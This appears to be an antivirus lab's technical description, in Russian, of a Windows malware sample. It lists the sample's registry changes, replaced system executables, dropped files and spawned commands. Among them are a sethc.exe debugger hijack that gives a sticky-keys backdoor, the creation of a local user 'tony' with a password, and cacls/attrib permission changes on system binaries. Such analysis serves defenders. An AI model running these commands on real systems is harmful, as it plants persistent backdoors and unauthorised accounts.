Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'Debugger' = '%WINDIR%\Fonts\sethcs.exe'
Подменяет следующие исполняемые системные файлы:
- <SYSTEM32>\dllcache\net.exe файлом <SYSTEM32>\dllcache\net.exe.new
- <SYSTEM32>\dllcache\cmd.exe файлом <SYSTEM32>\dllcache\cmd.exe.new
- <SYSTEM32>\dllcache\regedt32.exe файлом <SYSTEM32>\dllcache\regedt32.exe.new
- <SYSTEM32>\dllcache\net1.exe файлом <SYSTEM32>\dllcache\net1.exe.new
- <SYSTEM32>\net.exe файлом <SYSTEM32>\net.exe.new
- <SYSTEM32>\cmd.exe файлом <SYSTEM32>\cmd.exe.new
- <SYSTEM32>\regedt32.exe файлом <SYSTEM32>\regedt32.exe.new
- <SYSTEM32>\net1.exe файлом <SYSTEM32>\net1.exe.new
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\Microsoft.NET\Framework\v2.0.50727\installutil" "<SYSTEM32>\networkhelp.exe""
- '<SYSTEM32>\cmd.exe' /c <Текущая директория>\5A96B43D654541C1A231D0717A2E2B9B.bat
- '<SYSTEM32>\cmd.exe' /c <Текущая директория>\153584FA31AC46F294C81BE118DB626A.bat
- '<SYSTEM32>\cmd.exe' /S /D /c" echo y"
- '<SYSTEM32>\cmd.exe' /c <Текущая директория>\C7C1481C4B234CC3A2406CE7D5779C47.bat
- '<SYSTEM32>\cmd.exe' /c <Текущая директория>\0A6AAC3F0E5248C9A5DA29DFE1A304B6.bat
- '<SYSTEM32>\net1.exe' user tony QWEasd0856 /add
- '<Текущая директория>\osklsass.exe'
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s tony /add
- '<SYSTEM32>\networkhelp.exe' -i-
- '<SYSTEM32>\cmd.exe' /c <Текущая директория>\5F055A7EE0F94811BA5ED8C272E75CB3.bat
Запускает на исполнение:
- '<SYSTEM32>\attrib.exe' -r -h -s -a "%WINDIR%\Fonts\sethcs.exe"
- '%WINDIR%\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe' "<SYSTEM32>\networkhelp.exe"
- '<SYSTEM32>\regini.exe' 3D2BF96E299148B08E5AC23CC65F590D.ini
- '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\sethcs.exe" /t /c /e /g everyone:f
- '<SYSTEM32>\attrib.exe' +r +h +s +a "%WINDIR%\Fonts\sethcs.exe"
- '<SYSTEM32>\cacls.exe' "%WINDIR%\Fonts\sethcs.exe" /t /c /g system:r
- '<SYSTEM32>\regini.exe' C7EC4330688447A2BB25CD6DACEE3B9E.ini
- '<SYSTEM32>\attrib.exe' -a -r -s -h "osklsass.exe"
- '<SYSTEM32>\cacls.exe' net1.exe /c /e /t /g everyone:f
- '<SYSTEM32>\cacls.exe' regedt32.exe /c /e /t /g everyone:f
- '<SYSTEM32>\cacls.exe' cmd.exe /c /e /t /g everyone:f
- '<SYSTEM32>\cacls.exe' net.exe /c /e /t /g everyone:f
- '<SYSTEM32>\attrib.exe' -a -s -r -h net1.exe
- '<SYSTEM32>\attrib.exe' -a -s -r -h regedt32.exe
- '<SYSTEM32>\attrib.exe' -a -s -r -h cmd.exe
- '<SYSTEM32>\attrib.exe' -a -s -r -h net.exe
Изменения в файловой системе:
Создает следующие файлы:
- <Текущая директория>\153584FA31AC46F294C81BE118DB626A.bat
- <Текущая директория>\C7EC4330688447A2BB25CD6DACEE3B9E.ini
- <Текущая директория>\5A96B43D654541C1A231D0717A2E2B9B.bat
- <SYSTEM32>\networkhelp.InstallLog
- <Текущая директория>\InstallUtil.InstallLog
- <Текущая директория>\C7C1481C4B234CC3A2406CE7D5779C47.bat
- <Текущая директория>\0A6AAC3F0E5248C9A5DA29DFE1A304B6.bat
- <Текущая директория>\8f45feb9-1f54-427a-9341-732343062ddc
- <Текущая директория>\9bf89250-da00-4477-bbc9-ddcfd941f56b
- <Текущая директория>\osklsass.exe
- <Текущая директория>\3D2BF96E299148B08E5AC23CC65F590D.ini
- <SYSTEM32>\networkhelp.exe
- <Текущая директория>\5F055A7EE0F94811BA5ED8C272E75CB3.bat
Удаляет следующие файлы:
- <Текущая директория>\8f45feb9-1f54-427a-9341-732343062ddc
- <Текущая директория>\3D2BF96E299148B08E5AC23CC65F590D.ini
- <Текущая директория>\osklsass.exe
- <Текущая директория>\C7EC4330688447A2BB25CD6DACEE3B9E.ini
- <Текущая директория>\9bf89250-da00-4477-bbc9-ddcfd941f56b
- <SYSTEM32>\net.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\regedt32.exe
- <SYSTEM32>\net1.exe
Перемещает следующие файлы:
- <SYSTEM32>\dllcache\net1.exe.new в <SYSTEM32>\dllcache\net1.exe
- <SYSTEM32>\dllcache\regedt32.exe.new в <SYSTEM32>\dllcache\regedt32.exe
- <SYSTEM32>\dllcache\cmd.exe.new в <SYSTEM32>\dllcache\cmd.exe
- <SYSTEM32>\dllcache\net.exe.new в <SYSTEM32>\dllcache\net.exe
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
